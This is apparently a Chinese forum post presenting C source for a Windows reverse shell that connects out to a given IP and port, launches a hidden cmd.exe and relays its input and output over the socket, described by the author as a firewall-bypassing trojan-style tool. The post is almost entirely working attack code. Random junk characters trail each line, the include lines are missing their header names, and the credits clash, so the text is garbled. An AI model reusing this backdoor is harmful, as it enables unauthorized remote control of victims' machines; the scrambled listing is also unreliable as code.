Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 w]b,7QuNz  
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/* ============================== :A %^^F%  
Rebound port in Windows NT ?bZovRx  
By wind,2006/7 \!vN  
===============================*/ gWABY%!}  
#include v~3B:k:?l  
#include 3f" %G\  
v2r&('pV  
#pragma comment(lib,"wsock32.lib") UJfT!==U  
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void OutputShell(); n\Fp[9+Z\  
SOCKET sClient; &AVpLf:?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RIu~ @  
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void main(int argc,char **argv) )#|<w9uec  
{ p.}Ls)I  
WSADATA stWsaData; ]5~s"fnG  
int nRet; \!IMaB]  
SOCKADDR_IN stSaiClient,stSaiServer; _lzyMEdr  
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if(argc != 3) >Rvx[`|O!m  
{ JO=[YoTr  
printf("Useage:\n\rRebound DestIP DestPort\n"); |(moWY=  
return; IK,|5]*Ar  
} :j|IP)-f  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6S6f\gAM  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^-FX  
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stSaiClient.sin_family = AF_INET; 7n]65].t  
stSaiClient.sin_port = htons(0); Uv YF[@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8[r9HC  
)jWOP,|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [7(-T?_  
{ O}9KJU  
printf("Bind Socket Failed!\n"); }X GEX:1K  
return; 3nT Z)L }  
} lis/`B\x  
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stSaiServer.sin_family = AF_INET; h)~=Dm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  Qk!;M|
 
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  +`7KSwa  

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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N#lDW~e'  
{ 'r(1N
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printf("Connect Error!"); e%8|<g+n6  
return; DD" $1o"  
} 0 a]/%y3V  
OutputShell(); ??TMSH  
} ^c~)/F/cF  
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void OutputShell() %WqNiF0-  
{ {`2R,Jb%S  
char szBuff[1024]; E?(xb B  
SECURITY_ATTRIBUTES stSecurityAttributes; H|cNH=  
OSVERSIONINFO stOsversionInfo; 85EQ5yY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,-x!$VqS  
STARTUPINFO stStartupInfo; OD']:  
char *szShell; 1B),A~Ip  
PROCESS_INFORMATION stProcessInformation; tXJUvish  
unsigned long lBytesRead; y_xnai  
0]D0{6x8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8|E'>+ D_-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XLMb=T~S  
stSecurityAttributes.lpSecurityDescriptor = 0; s1|/S\
  
stSecurityAttributes.bInheritHandle = TRUE; q+B&orp  

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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PtqJ*Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @EE."T9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); olLfko4$*V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qY\f'K}Q*  
stStartupInfo.wShowWindow = SW_HIDE; -v6M<  
stStartupInfo.hStdInput = hReadPipe; x `V;Y]7'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n$xQ[4eH)  
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GetVersionEx(&stOsversionInfo); L 8{\r$  
P/&]?f0/  
switch(stOsversionInfo.dwPlatformId) CK, 6ytB  
{ e#/E~r&  
case 1: .9O$G2'oh  
szShell = "command.com"; &rkEK4  
break; p4VeRJk%  
default: N'xSG`,Mg  
szShell = "cmd.exe"; (E]!Z vE  
break; A(]H{>PMy  
} jqr1V_3(  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gm9mg*aM  
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send(sClient,szMsg,77,0); i-yy/y-N  
while(1) t>8XTqqi  
{ Scv#zuv_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iAa;6mH  
if(lBytesRead) "`6n6r42  
{ (H+'X}1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \.
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send(sClient,szBuff,lBytesRead,0); Qp`gswvE  
} U-n;xX0=  
else 5q"ON)x  
{ DWdW,xG  
lBytesRead=recv(sClient,szBuff,1024,0); };'\~g,1  
if(lBytesRead<=0) break; nC{%quwh{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xq"Jy=4Q*  
} #97h6m?  
} Fs[aa#v4B  
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return; &~CY]PN.  
}